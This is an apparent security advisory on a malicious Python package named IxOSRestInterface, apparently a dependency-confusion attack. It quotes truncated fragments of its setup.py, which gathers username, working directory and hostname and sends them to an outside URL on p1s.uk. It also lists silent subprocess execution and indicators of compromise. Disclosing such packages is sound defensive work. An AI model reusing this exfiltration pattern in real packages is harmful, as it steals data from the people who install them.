GCVE-110-OSM-2026-2696

Malicious package detected. Behaviors: data exfiltration, code execution. Payload: setup.py Key findings: - Environment Variable Exfiltration in setup.py: "os.environ.get("USER", os.environ.get("USERNAME", "unknown")) d = os.getcwd(..." - System Information Exfiltration in setup.py: "socket.gethostname() u = os.environ.get("USER", os.environ.get("USERNAME", "..." - HTTP Data Exfiltration in setup.py: "os.getcwd() url = "http://p1s.uk/dep-confusion/IxOSRestInterface/?h={}&u={}&..." - Shell Command Execution in src/IxOSRestInterface/__init__.py: "subprocess.Popen(" - Silent Process Execution in src/IxOSRestInterface/__init__.py: "stdout=subprocess.DEVNULL" IOCs: - urls: http://p1s.uk/dep-confusion/IxOSRestInterface/?h={, http://p1s.uk/dep-confusion/{pkg - domains: p1s.uk - payloadFileHash: c33e43f656c015c142f58457eee8fdf70078308223f978ff1c932071ae9ea0e2